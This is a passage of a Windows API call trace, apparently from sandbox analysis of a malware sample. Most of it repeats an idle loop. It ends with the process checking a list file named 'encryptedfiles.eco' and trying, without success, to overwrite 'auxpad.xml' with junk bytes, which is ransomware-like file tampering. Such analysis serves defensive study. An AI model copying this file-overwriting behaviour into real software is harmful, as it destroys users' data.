[0120.699] CoFreeUnusedLibraries () [0120.699] GetTickCount () returned 0x1150d98 [0120.699] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.699] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.699] GetTickCount () returned 0x1150d98 [0120.699] IsWindowVisible (hWnd=0x30268) returned 0 [0120.699] Sleep (dwMilliseconds=0x0) [0120.699] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.699] GetTickCount () returned 0x1150d98 [0120.699] GetTickCount () returned 0x1150d98 [0120.699] CoFreeUnusedLibraries () [0120.699] GetTickCount () returned 0x1150d98 [0120.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.700] GetTickCount () returned 0x1150d98 [0120.700] IsWindowVisible (hWnd=0x30268) returned 0 [0120.700] Sleep (dwMilliseconds=0x0) [0120.700] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.700] GetTickCount () returned 0x1150d98 [0120.700] GetTickCount () returned 0x1150d98 [0120.700] CoFreeUnusedLibraries () [0120.700] GetTickCount () returned 0x1150d98 [0120.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.700] GetTickCount () returned 0x1150d98 [0120.700] IsWindowVisible (hWnd=0x30268) returned 0 [0120.700] Sleep (dwMilliseconds=0x0) [0120.700] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.700] GetTickCount () returned 0x1150d98 [0120.701] GetTickCount () returned 0x1150d98 [0120.701] CoFreeUnusedLibraries () [0120.701] GetTickCount () returned 0x1150d98 [0120.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.701] GetTickCount () returned 0x1150d98 [0120.701] IsWindowVisible (hWnd=0x30268) returned 0 [0120.701] Sleep (dwMilliseconds=0x0) [0120.701] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.701] GetTickCount () returned 0x1150d98 [0120.701] GetTickCount () returned 0x1150d98 [0120.701] CoFreeUnusedLibraries () [0120.701] GetTickCount () returned 0x1150d98 [0120.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.701] GetTickCount () returned 0x1150d98 [0120.701] IsWindowVisible (hWnd=0x30268) returned 0 [0120.702] Sleep (dwMilliseconds=0x0) [0120.702] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.702] GetTickCount () returned 0x1150d98 [0120.702] GetTickCount () returned 0x1150d98 [0120.702] CoFreeUnusedLibraries () [0120.702] GetTickCount () returned 0x1150d98 [0120.702] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.702] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.702] GetTickCount () returned 0x1150d98 [0120.702] IsWindowVisible (hWnd=0x30268) returned 0 [0120.702] Sleep (dwMilliseconds=0x0) [0120.702] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.702] GetTickCount () returned 0x1150d98 [0120.702] GetTickCount () returned 0x1150d98 [0120.702] CoFreeUnusedLibraries () [0120.702] GetTickCount () returned 0x1150d98 [0120.702] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.702] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.702] GetTickCount () returned 0x1150d98 [0120.703] IsWindowVisible (hWnd=0x30268) returned 0 [0120.703] Sleep (dwMilliseconds=0x0) [0120.703] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.703] GetTickCount () returned 0x1150d98 [0120.703] GetTickCount () returned 0x1150d98 [0120.703] CoFreeUnusedLibraries () [0120.703] GetTickCount () returned 0x1150d98 [0120.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.703] GetTickCount () returned 0x1150d98 [0120.703] IsWindowVisible (hWnd=0x30268) returned 0 [0120.703] Sleep (dwMilliseconds=0x0) [0120.703] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.703] GetTickCount () returned 0x1150d98 [0120.703] GetTickCount () returned 0x1150d98 [0120.703] CoFreeUnusedLibraries () [0120.704] GetTickCount () returned 0x1150d98 [0120.704] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.704] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.704] GetTickCount () returned 0x1150d98 [0120.704] IsWindowVisible (hWnd=0x30268) returned 0 [0120.704] Sleep (dwMilliseconds=0x0) [0120.704] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.704] GetTickCount () returned 0x1150d98 [0120.704] GetTickCount () returned 0x1150d98 [0120.704] CoFreeUnusedLibraries () [0120.704] GetTickCount () returned 0x1150d98 [0120.704] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.704] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.704] GetTickCount () returned 0x1150d98 [0120.704] IsWindowVisible (hWnd=0x30268) returned 0 [0120.704] Sleep (dwMilliseconds=0x0) [0120.704] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.705] GetTickCount () returned 0x1150d98 [0120.705] GetTickCount () returned 0x1150d98 [0120.705] CoFreeUnusedLibraries () [0120.705] GetTickCount () returned 0x1150d98 [0120.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.705] GetTickCount () returned 0x1150d98 [0120.705] IsWindowVisible (hWnd=0x30268) returned 0 [0120.705] Sleep (dwMilliseconds=0x0) [0120.705] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.705] GetTickCount () returned 0x1150d98 [0120.705] GetTickCount () returned 0x1150d98 [0120.705] CoFreeUnusedLibraries () [0120.705] GetTickCount () returned 0x1150d98 [0120.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.705] GetTickCount () returned 0x1150d98 [0120.706] IsWindowVisible (hWnd=0x30268) returned 0 [0120.706] Sleep (dwMilliseconds=0x0) [0120.706] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.706] GetTickCount () returned 0x1150da8 [0120.706] GetTickCount () returned 0x1150da8 [0120.706] CoFreeUnusedLibraries () [0120.706] GetTickCount () returned 0x1150da8 [0120.706] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.706] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.706] GetTickCount () returned 0x1150da8 [0120.706] IsWindowVisible (hWnd=0x30268) returned 0 [0120.706] Sleep (dwMilliseconds=0x0) [0120.706] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.706] GetTickCount () returned 0x1150da8 [0120.706] GetTickCount () returned 0x1150da8 [0120.707] CoFreeUnusedLibraries () [0120.707] GetTickCount () returned 0x1150da8 [0120.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.707] GetTickCount () returned 0x1150da8 [0120.707] IsWindowVisible (hWnd=0x30268) returned 0 [0120.707] Sleep (dwMilliseconds=0x0) [0120.707] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.707] GetTickCount () returned 0x1150da8 [0120.707] GetTickCount () returned 0x1150da8 [0120.707] CoFreeUnusedLibraries () [0120.707] GetTickCount () returned 0x1150da8 [0120.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.707] GetTickCount () returned 0x1150da8 [0120.707] IsWindowVisible (hWnd=0x30268) returned 0 [0120.707] Sleep (dwMilliseconds=0x0) [0120.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.jest", cchWideChar=-1, lpMultiByteStr=0x18e878, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.jest", lpUsedDefaultChar=0x0) returned 81 [0120.708] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.jest", lpFilePart=0x18e870*="auxpad.xml.jest") returned 0x50 [0120.708] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.jest", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.708] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.jest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.709] GetFileType (hFile=0x2c4) returned 0x1 [0120.709] IMalloc:Alloc (This=0x767666bc, cb=0x8d) returned 0x14cd1d8 [0120.709] GetUserDefaultLCID () returned 0x409 [0120.709] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea3c | out: ppsaOut=0x18ea3c) returned 0x0 [0120.710] SafeArrayDestroyDescriptor (psa=0x14da520) returned 0x0 [0120.710] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpUsedDefaultChar=0x0) returned 76 [0120.710] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpFilePart=0x18e6d8*="auxpad.xml") returned 0x4b [0120.710] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0xc1, dwReserved1=0xfb003ac1, cFileName="auxpad.xml", cAlternateFileName="")) returned 0x143ce48 [0120.711] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0120.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.711] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpFilePart=0x18e780*="auxpad.xml") returned 0x4b [0120.711] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.711] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.711] GetLastError () returned 0x5 [0120.711] GetLastError () returned 0x5 [0120.711] SetLastError (dwErrCode=0x5) [0120.711] GetLastError () returned 0x5 [0120.711] SetLastError (dwErrCode=0x5) [0120.712] GetLastError () returned 0x5 [0120.712] SetLastError (dwErrCode=0x5) [0120.712] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.712] GetLastError () returned 0x5 [0120.712] GetLastError () returned 0x5 [0120.712] SetLastError (dwErrCode=0x5) [0120.712] GetLastError () returned 0x5 [0120.712] SetLastError (dwErrCode=0x5) [0120.712] GetLastError () returned 0x5 [0120.712] SetLastError (dwErrCode=0x5) [0120.712] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.712] GetFileType (hFile=0x2c4) returned 0x1 [0120.712] IMalloc:Alloc (This=0x767666bc, cb=0x88) returned 0x14b25c8 [0120.712] FlushFileBuffers (hFile=0x2) returned 0 [0120.713] IMalloc:Alloc (This=0x767666bc, cb=0x1a8) returned 0x1466360 [0120.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=212, lpMultiByteStr=0x1466360, cbMultiByte=424, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 212 [0120.713] WriteFile (in: hFile=0x2c4, lpBuffer=0x1466360, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0) returned 0 [0120.713] GetLastError () returned 0x5 [0120.713] GetLastError () returned 0x5 [0120.713] SetLastError (dwErrCode=0x5) [0120.713] GetLastError () returned 0x5 [0120.713] SetLastError (dwErrCode=0x5) [0120.713] GetLastError () returned 0x5 [0120.713] SetLastError (dwErrCode=0x5) [0120.713] GetLastError () returned 0x5 [0120.713] SetLastError (dwErrCode=0x5) [0120.713] GetLastError () returned 0x5 [0120.713] SetLastError (dwErrCode=0x5) [0120.713] GetLastError () returned 0x5 [0120.713] SetLastError (dwErrCode=0x5) [0120.713] IMalloc:Free (This=0x767666bc, pv=0x1466360) [0120.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0120.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0120.714] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0120.715] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchWideChar=-1, lpMultiByteStr=0x18e788, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpUsedDefaultChar=0x0) returned 76 [0120.715] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpFilePart=0x18e780*="auxpad.xml") returned 0x4b [0120.715] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.715] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 0 [0120.716] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.716] GetLastError () returned 0x5 [0120.716] GetLastError () returned 0x5 [0120.716] SetLastError (dwErrCode=0x5) [0120.716] GetLastError () returned 0x5 [0120.716] SetLastError (dwErrCode=0x5) [0120.716] GetLastError () returned 0x5 [0120.716] SetLastError (dwErrCode=0x5) [0120.716] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.716] GetLastError () returned 0x5 [0120.716] GetLastError () returned 0x5 [0120.716] SetLastError (dwErrCode=0x5) [0120.716] GetLastError () returned 0x5 [0120.717] SetLastError (dwErrCode=0x5) [0120.717] GetLastError () returned 0x5 [0120.717] SetLastError (dwErrCode=0x5) [0120.717] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0120.717] GetFileType (hFile=0x324) returned 0x1 [0120.717] IMalloc:Alloc (This=0x767666bc, cb=0x88) returned 0x1448c00 [0120.717] FlushFileBuffers (hFile=0x3) returned 0 [0120.717] IMalloc:Alloc (This=0x767666bc, cb=0x1a8) returned 0x1466360 [0120.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ", cchWideChar=212, lpMultiByteStr=0x1466360, cbMultiByte=424, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿl", lpUsedDefaultChar=0x0) returned 212 [0120.718] WriteFile (in: hFile=0x324, lpBuffer=0x1466360, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0) returned 0 [0120.718] GetLastError () returned 0x5 [0120.718] GetLastError () returned 0x5 [0120.718] SetLastError (dwErrCode=0x5) [0120.718] GetLastError () returned 0x5 [0120.718] SetLastError (dwErrCode=0x5) [0120.718] GetLastError () returned 0x5 [0120.718] SetLastError (dwErrCode=0x5) [0120.718] GetLastError () returned 0x5 [0120.718] SetLastError (dwErrCode=0x5) [0120.718] GetLastError () returned 0x5 [0120.718] SetLastError (dwErrCode=0x5) [0120.718] GetLastError () returned 0x5 [0120.718] SetLastError (dwErrCode=0x5) [0120.718] IMalloc:Free (This=0x767666bc, pv=0x1466360) [0120.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0120.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0120.718] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0120.719] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.719] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x17d)) [0120.719] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0120.719] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x17d)) [0120.719] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x17d)) [0120.719] GetUserDefaultLCID () returned 0x409 [0120.719] VarBstrFromR4 (in: fltIn=0x479442b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.38") returned 0x0 [0120.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="^") returned 1 [0120.720] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0120.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 